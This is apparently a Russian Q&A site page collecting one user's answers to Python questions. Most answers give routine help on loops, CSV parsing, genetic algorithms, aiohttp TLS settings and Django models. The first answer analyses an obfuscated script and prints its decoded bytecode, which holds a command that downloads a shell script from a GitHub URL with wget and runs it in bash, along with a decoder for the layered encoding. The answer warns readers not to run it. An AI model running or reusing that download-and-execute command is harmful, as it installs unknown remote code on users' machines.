Ответы пользователя по тегу Python
  • Что делает этот код на Python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Вот байткод, который в итоге пытается выполнить этот кусок:
    00: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=0, argval=0, argrepr='0', offset=0, starts_line=1, is_jump_target=False)
    01: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=2, starts_line=None, is_jump_target=False)
    02: inst=Instruction(opname='IMPORT_NAME', opcode=108, arg=0, argval='os', argrepr='os', offset=4, starts_line=None, is_jump_target=False)
    03: inst=Instruction(opname='STORE_NAME', opcode=90, arg=0, argval='os', argrepr='os', offset=6, starts_line=None, is_jump_target=False)
    04: inst=Instruction(opname='SETUP_FINALLY', opcode=122, arg=8, argval=18, argrepr='to 18', offset=8, starts_line=None, is_jump_target=False)
    05: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=10, starts_line=2, is_jump_target=False)
    06: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=12, starts_line=None, is_jump_target=False)
    07: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=2, argval='clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"', argrepr='\'clear; ok=$(wget https://raw.githubusercontent.com/Itshacher/itshacher/main/hello.sh -q -O-); bash -c "$ok"\'', offset=14, starts_line=None, is_jump_target=False)
    08: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=16, starts_line=None, is_jump_target=False)
    09: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=18, starts_line=None, is_jump_target=True)
    10: inst=Instruction(opname='POP_BLOCK', opcode=87, arg=None, argval=None, argrepr='', offset=20, starts_line=None, is_jump_target=False)
    11: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=22, starts_line=None, is_jump_target=False)
    12: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=24, starts_line=None, is_jump_target=False)
    13: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=26, starts_line=3, is_jump_target=False)
    14: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=28, starts_line=None, is_jump_target=False)
    15: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=30, starts_line=None, is_jump_target=False)
    16: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=0, argval='os', argrepr='os', offset=32, starts_line=4, is_jump_target=False)
    17: inst=Instruction(opname='LOAD_METHOD', opcode=160, arg=1, argval='system', argrepr='system', offset=34, starts_line=None, is_jump_target=False)
    18: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=3, argval='clear', argrepr="'clear'", offset=36, starts_line=None, is_jump_target=False)
    19: inst=Instruction(opname='CALL_METHOD', opcode=161, arg=1, argval=1, argrepr='', offset=38, starts_line=None, is_jump_target=False)
    20: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=40, starts_line=None, is_jump_target=False)
    21: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=2, argval='print', argrepr='print', offset=42, starts_line=5, is_jump_target=False)
    22: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=4, argval='Thanks for using Xlr8 !', argrepr="'Thanks for using Xlr8 !'", offset=44, starts_line=None, is_jump_target=False)
    23: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=1, argval=1, argrepr='', offset=46, starts_line=None, is_jump_target=False)
    24: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=48, starts_line=None, is_jump_target=False)
    25: inst=Instruction(opname='LOAD_NAME', opcode=101, arg=3, argval='exit', argrepr='exit', offset=50, starts_line=6, is_jump_target=False)
    26: inst=Instruction(opname='CALL_FUNCTION', opcode=131, arg=0, argval=0, argrepr='', offset=52, starts_line=None, is_jump_target=False)
    27: inst=Instruction(opname='POP_TOP', opcode=1, arg=None, argval=None, argrepr='', offset=54, starts_line=None, is_jump_target=False)
    28: inst=Instruction(opname='POP_EXCEPT', opcode=89, arg=None, argval=None, argrepr='', offset=56, starts_line=None, is_jump_target=False)
    29: inst=Instruction(opname='LOAD_CONST', opcode=100, arg=1, argval=None, argrepr='None', offset=58, starts_line=None, is_jump_target=False)
    30: inst=Instruction(opname='RETURN_VALUE', opcode=83, arg=None, argval=None, argrepr='', offset=60, starts_line=None, is_jump_target=False)


    Видно, что скрипт пытается скачать и запустить какой-то баш-файл из сети. Сейчас уже этот урл возвращает 404, но вебархив показывает, что в январе 2023 года был сделан бэкап этой страницы.
    ВНИМАНИЕ! НЕ ЗАПУСКАЙТЕ ЭТОТ КОД. ЭТО НАВЕРНЯКА ВРЕДОНОСНАЯ ПРОГРАММА,
    ПУЬЛИКУЮ ЧИСТО ИЗ ИССЛЕДОВАТЕЛЬСКИХ СООБРАЖЕНИЙ! Если у кого есть желание, может продолжить ковырять эту историю. Может быть там оффер на вакансию в какую-нибудь серьёзную контору=).

    Вот, кстати, код, с помощью которого можно выковырять эти операции. Они рекурсивно закодированы 33 раза одним и тем же способом.
    import marshal, zlib, base64, dis
    
    
    def extract_code(b, deep=0):
        print(f'=== extract_code [{deep}]')
        code = marshal.loads(zlib.decompress(base64.b64decode(b[::-1])))
        instructions = list(dis.get_instructions(code))
        if (
            (instructions[0].opname, instructions[0].argval) == ('LOAD_NAME', 'exec')
            and instructions[1].argval == '_' and instructions[2].opname == 'LOAD_CONST'
        ):
            code2 = instructions[2].argval
            extract_code(code2, deep + 1)
        else:
            for i, inst in enumerate(instructions):
                print(f'{i:02d}: {inst=}')
    
    
    extract_code(...)
    Ответ написан
    6 комментариев
  • Почему цикл не корректно работает?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сказано же в задании надо граничить цикл 10 итерациями. А вы не ограничиваете. В этом и проблема.
    8*8=64
    6*6+4*4=52
    5*5+2*2=29
    2*2+9*9=85
    8*8+5*5=...
    И так очень и очень долго.
    Ответ написан
    Комментировать
  • Как определить символ(ы) конца строки в csv?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Зачем?!
    Это не конец строки, это просто пустые столбцы. Конец строки там по абзацу. Зачем вообще вам нужно указывать конец строки как-то особенно? Вы можете потом просто отбросить нужное число элементов из кортежа и всё.
    Ответ написан
    2 комментария
  • Генетический алгоритм в pygame?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Сделал простенькую игру на pygame.

    Можно ли обучить башню самой стрелять по ботам с помощью генетического алгоритма.

    Башня должна определить по какой дорожке к ней идёт бот. Определить его расстояние и скорость. И как он подошёл к сектору начать в него стрелять.


    Зачем? Если это твоя собственная игра, то ивой код и так "знает" параметры и траекторию перемещения юнитов, зачем тут генетические алгоритмы?

    Генетические алгоритмы нужны когда строгое алгоритмическое решение оказывается слишком сложным вычислительно или логически. Тогда можно сделать простую мультиагентную систему, и каждый агент будет реализовывать свою вариацию стратегии игры.
    Нужно построить "геном" - набор изолированных параметров, которые определяют стратегию агента.
    Нужно сформулировать правила "скрещивания" и "мутации" геномов, чтобы в результате получались новые стратегии для новых агентов.
    Нужно оценивать эффективность каждого агента в баллах или придумать нормирующую функцию которая по набору показателей агента (kill-rate, набранное число очков за жизнь, продолжительность жизни, нанесенному урону) будет выдавать число (скаляр) с помощью которого можно сравнивать агентов. В совокупности с логикой стратегии эта нормирующая функция будет формировать фитнес-функцию. Фитнес-функция принимает параметры стратегии (геном) и возвращает результат - скаляр - качество агента. Формируем поколения или просто периодический отбор самых качественных, потом их скрещиваем в рандомном или каком-то еще порядке, добавляем мутации и формируем новый набор агентов с новым геномом. а значит с новыми параметрами стратегий.
    И так по кругу. В итоге у вас получатся агенты, которые будут эволюционировать.

    В вашей задаче так можно, например, "обучать" нападающих юнитов. Пользователь ставит башни и остреливается, а ваши генетические юниты плодятся, мутируют и лезут на пользователя. Лучшие отбираются и на их основе генерится потомство, которое попадает в следующие волны.

    Осторожно, если раскусить этот принцип. пользователь сможет нарочно не применять какой-то очень сильный приём, которым будет выкашивать целиком популяции, которые не смогут так к нему приспособиться. Так работают антибиотики, если их применять правильно. А если оставлять в живых недобитых юнитов, то они будут формировать резистентность к приёму.

    Никаких особых библиотек для такой реализации не требуется. Всё довольно просто и понятно.
    Ответ написан
  • Что такое PSS.MAX_LENGTH?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Очевидно это длина соли и по умолчанию она уже максимальна, но можно солить и не максимальной по длине солью. Я присоединяюсь к вопросу. что вас не устроило в документации?
    Этот параметр задан в библиотеке у функции по умолчанию. Если вы не знаете что там прописать - не трогайте.
    Чему равно максимальное значение вы можете увидеть прыгнув на реализацию этой константы, ну или просто напечатав это значение в консоль.
    Ответ написан
    Комментировать
  • TLSv1_3 в aiohttp?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Забавно. Скоро не будет никакого смысла идти за ответом сюда, когда можно к чатжпт сходить.
    Даже читать не стал ваш вопрос после заголовка и скопировал его в чатжпт4. Вот что он ответил:

    В `aiohttp`, процесс создания и настройки пользовательского TLS контекста отличается от того, что используется в `requests`. В `aiohttp`, вы должны настроить SSL контекст до создания сессии и передать его в качестве аргумента при создании клиентской сессии. Вот как вы можете адаптировать ваш пример для `aiohttp`:

    1. Создайте SSL контекст, используя стандартную библиотеку `ssl`.
    2. Настройте контекст, задав нужные параметры, такие как версия TLS, набор шифров и кривые ECDH.
    3. Создайте экземпляр `aiohttp.ClientSession`, передав SSL контекст.

    Пример кода:

    import ssl
    import aiohttp
    
    class TLSv1_3_BYPASS:
        ciphers = '...'  # Здесь должен быть ваш список шифров
    
        @staticmethod
        def create_ssl_context():
            ssl_context = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
            ssl_context.set_ciphers(TLSv1_3_BYPASS.ciphers)
            ssl_context.set_ecdh_curve("prime256v1")
            ssl_context.minimum_version = ssl.TLSVersion.TLSv1_3
            ssl_context.maximum_version = ssl.TLSVersion.TLSv1_3
            return ssl_context
    
    # Создание SSL контекста
    ssl_context = TLSv1_3_BYPASS.create_ssl_context()
    
    # Создание aiohttp сессии с пользовательским SSL контекстом
    async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=ssl_context)) as session:
        # Теперь вы можете использовать session для выполнения запросов
        response = await session.get('https://example.com')
        # ...


    В этом примере кода создаётся пользовательский SSL контекст, который затем используется для создания `aiohttp.ClientSession`. Обратите внимание, что вам нужно будет заменить `'...'` в `ciphers` на фактический список шифров, которые вы хотите использовать.
    Ответ написан
    Комментировать
  • Как создать связь с полем модели внутри нее?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Надо делать это вычисляемым полем, например. Зачем филд? А если надо для оптимизации, чтоб не делать каждый раз запрос, то можно перекрыть сохранение и записывать ссылку.
    Ссылку на себя из модели делать можно, вместо класса указывается его имя в виде строки.
    В каждом туториале по джанго такие примеры есть. А если каких-то нет, а вам-новичку это зачем-то надо, то впору задуматься а правильно ли так поступать. Обычно все правильные пути давно исхожены, дорожки проторены и снабжены горой примеров и документацией. Маловероятно, что в начале своего пути вы столкнулись с каким-то редким сложным кейсом, который не ражеван сообществом вдоль и поперёк.
    Ответ написан
    1 комментарий
  • Как получить описание устройства в системе через python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    У вас виндузятников там есть вроде консольная команда driverquery
    Можно её выполнять из питона и парсить результат. Там есть в выхлопе нужное устройство?
    Можно попробовать подключаться перебирая все порты, если есть возможность определить при успешном подключении нужное это устройство или нет.
    Искать нужно как найти нужные данные через консоль, а потом искать как выполнить консольную команду из питона и получить консольный выхлоп, а потом искать нужную строчку в выхлопе.
    Примерно такой путь.
    Ответ написан
    Комментировать
  • Как в БД проверять есть ли такое значение?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Добавлю к предыдущему ответу, что можно по факту выполнения запроса посмотреть сколько записей добавилось в БД и исходя из этого вывести пользователю соответствующий ответ на команду "старт": https://peps.python.org/pep-0249/#rowcount
    Ответ написан
    Комментировать
  • Как оптимизировать сервер на python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    В первую очередь нужно всё измерить. Просто методом тыка оптимизировать плохая идея, ведь вы не знаете какие места представляют "бутылочные горлышки".
    Нужно добавить логирование с замерами времени разных этапов.
    У вас все этапы выстроены друг за другом и пока происходит один этап больше ничего не происходит. Можно сформировать конвейер и разнести те задачи, какие можно по процессам. Для этого есть, например, очереди.
    Вы каждый раз загружаете модель, а это можно сделать лишь один раз вынеся за пределы цикла.

    Вот смотрю и вижу, что ваша задача очень похожа на задание. Если вы это написали самостоятельно, то должны были бы уже догадываться что с этим кодом не так. А так получается, что это не ваш код и вам задали вопрос как его оптимизировать, а вы пришли с этим заданием сюда. Так нельзя.
    Ответ написан
    2 комментария
  • Почему модуль winsound не воспроизводит звук?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    1) проверить пример из документации
    # Play wav file
    winsound.PlaySound('c:/windows/media/Chord.wav', winsound.SND_FILENAME)

    2) Убедиться, что по указанному пути есть файл и там нужный звук. Использовать полный абсолютный путь для начала, потом проверять текущий каталог.
    Ответ написан
    Комментировать
  • Ошибка аргументоа (мешает self), что делать?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    def download(link, path, mp, self):
    Нужно задекорировать метод как классовый или сттический. Если классовый, то надо указать первым аргументом cls
    Ответ написан
    Комментировать
  • Как скормить звук python чтобы после его распознания выполнялось действие?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Без примеров такие абстрактные вопросы для ответа требуют целой лекции. Огромного количества догадок и большой индивидуально подготовленной для вас лекции по теме. Судя по постановке вопросв и комментариям у вас нет необходимых навыков программирования, чтобы начинать свою картеру программиста с такой задачи. Нужно освоить массу более простых вещей, терминологию, сделать несколько более простых и понятных проектов.

    На ваш вопрос было бы проще ответить, если бы вы привели в качестве примера звуки, на которые нужно сделать специфическую реакцию, продемонстрировали какие шумы (в худшем случае) могут накладываться на звук, а также звуки, которые похожи на требуемый, но недостаточно, чтобы программа реагировала на него, как на нужный.
    Тогда можно уже, вооружившись опытом и знаниями, поискать решение вашей проблемы.
    Может быть вам подойдёт сравнение фурье-спектров референсного звука и распознаваемого. Может быть достаточно реагировать на специфический ритм щелчков, а может быть придётся прибегнуть к смеси этих методов отфильтровав звуки в виде фурье-образов, а потом результат фильтрации выравнивать по фазе и сравнивать семпл-по-семплу с некоторой точностью.
    Может быть вас устроило бы дискретизировать звук после фильтрации и сравнивать их.

    В любом случае звук - это массив чисел длинной Частота_дискретизации*Длительность.
    Этот массив можно обрезать по тишине слева и справа, выровнять по уровню, оценить поместится ли в оставшийся фрагмент искомый звук. Потом нужно понимать, что оставшийся массив - это многомерный вектор. Он указывает в некий объём многомерного пространства. Какие-то сати этого пространства "похожи на некий образцовый звук", а какие-то нет. Нужно написать функцию, принимающую вектор и возвращающую число - степень похожести звука на образец. Это делается нормированием.

    Надо понимать, что к полезному примешивается обычно шум. Шумы имеют разные источники и их нужно уметь различать. Есть простой гауссовский шум, есть какие-то помехи и щелчки, которые будут соперничать с уровнями и частотами полезного сигнала.

    Изучать нужно по теме "Цифровая обработка сигналов", "сравнение звуков"
    Ответ написан
    3 комментария
  • Как можно распарсить текст на python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Схема проста и есть несколько вариантов:
    1) Пойти к фрилансерам и купить решение. Это самый простой быстрый и дешевый способ.
    2) Самостоятелбно:
    - Изучить основы питона
    - Разобраться что такое регулярные выражения
    - Написать функцию, которая из строки достаёт 2 нужных значения.
    - Применить функцию ко всем строкам.
    - ...
    - Профит!

    А вообще тут регекспы и не нужны вовсе. Достаточно разбить весь текст по символу абзаца на строки, а потом каждую строку разбить сплитом по пробельным символам (без аргументов). Всё, осталось взять только нужные столбцы получившейся таблицы.
    Ответ написан
    1 комментарий
  • Как реализовать условие правильно?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    жесть.
    1) правильно подсказали, что эта сумма вычисляется за одно действие.
    2) так нельзя обменять две переменные значениями
    start = end
    end = start

    3) питон позволяет сделать это одним присвоением: a, b = b, a
    Ответ написан
    Комментировать
  • Почему не работает throttled в aiogram?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Всё правильно вам подсказали, надо изменить порядок декораторов, они коммутативны.

    В таких случаях надо просто брать пример из документации, убеждаться, что он работает, потом постепенно его приводить по шагам к виду своей неработающей реализации. Так вы выясните какой шаг был слабым звеном.
    Ответ написан
    Комментировать
  • Как сделать плавный рывок для персонажа?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Посмотрите внимательно на содержимое цикла. Там условие выхода из цикла привязано к счетчику, а счетчик увеличивается только при некотором условии. Другими словами, если случилось так, что это условие неверно и вы в цикле, то счетчик не будет меняться и проверка условия будет молотить вечно, ведь ничего не меняется. Так получается бесконечный цикл.
    Вообще такие вещи лучше описывать параметрически. То есть можно описать функцию, которая возвращает координату абсолютную от времени.
    Обычно это делается так. Описывается класс, потомки от которого будут описывать характер движения. Паттерн называется "Стратегия".
    У персонажа есть состояние, например "равномерная ходьба". Это состояние определяет стратегию движения. То есть когда началась равномерная ходьба, создаётся инстанс этой стратегии, который запоминает время начала ходьбы, начальные координаты и определяет скорость. У стратегии движения есть метод, который возвращает координату от абсолютного времени. Под капотом из этого времени вычитается время начала движения, а потом по простой линейной формуле можно вычислить координату персонажа на любое заданное время. Как только состояние персонажа сменяется на "Рывок", создаётся новый инстанс новой стратегии под названием "Рывок". Она определяет внутри другую функцию вычисления координаты от времени. Скорость тоже может быть задана функцией внутри реализации стратегии.

    Такой подход позволит гибко менять динамику игры, настраивать ее в широких пределах, добавлять новые фишки, и при этом код не будет засоряться кучей нечитабельной логики с +\- единицами, будет меньше ошибок.
    Ответ написан
    Комментировать
  • Как разрешить импорт в python?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    Никто вам импорты не запрещал. Обычно одной лекции не хватает, чтобы научиться программировать. Вам нужно понимать что такое встроенные и сторонние библиотеки. Вам нужно найти инструкцию по установке tensorflow на ваш компьютер. Это тривиальные базовые основы программирования, без таких знаний вам рано решать вашу задачу. Начните изучать язык с учебника.

    На этом ресурсе не готовят индивидуальные персональные уроки и инструкции по освоению базовых тривиальных принципов. Учиться надо самостоятельно.
    Ответ написан
    Комментировать
  • Бот для телеги на python, как лучше оптимизировать?

    trapwalker
    @trapwalker Куратор тега Python
    Программист, энтузиаст
    И как вы предлагаете провести аудит вашего кода без публикации этого кода?
    Не понятно же что и как вы там храните в памяти.
    Правильная архитектура и логирование легко позволяют отслеживать и находить утечки памяти. Часто потенциальные места видно по коду. Я так понимаю кроме утечек памяти у вас там не мало и других проблем, например ненадежное хранение состояния длительных процессов в случае перезапуска сервиса.
    Если правильно построить архитектуру вашего сервиса и использовать персистентные хранилища (например БД) для промежуточных состояний, то даже утечки в сторонних внешних библиотеках для вас не будут проблемой, поскольку вы всегда можете ограничить ресурсы и безопасно перезагружать сервис на любом этапе его работы при недостатке памяти.
    Ответ написан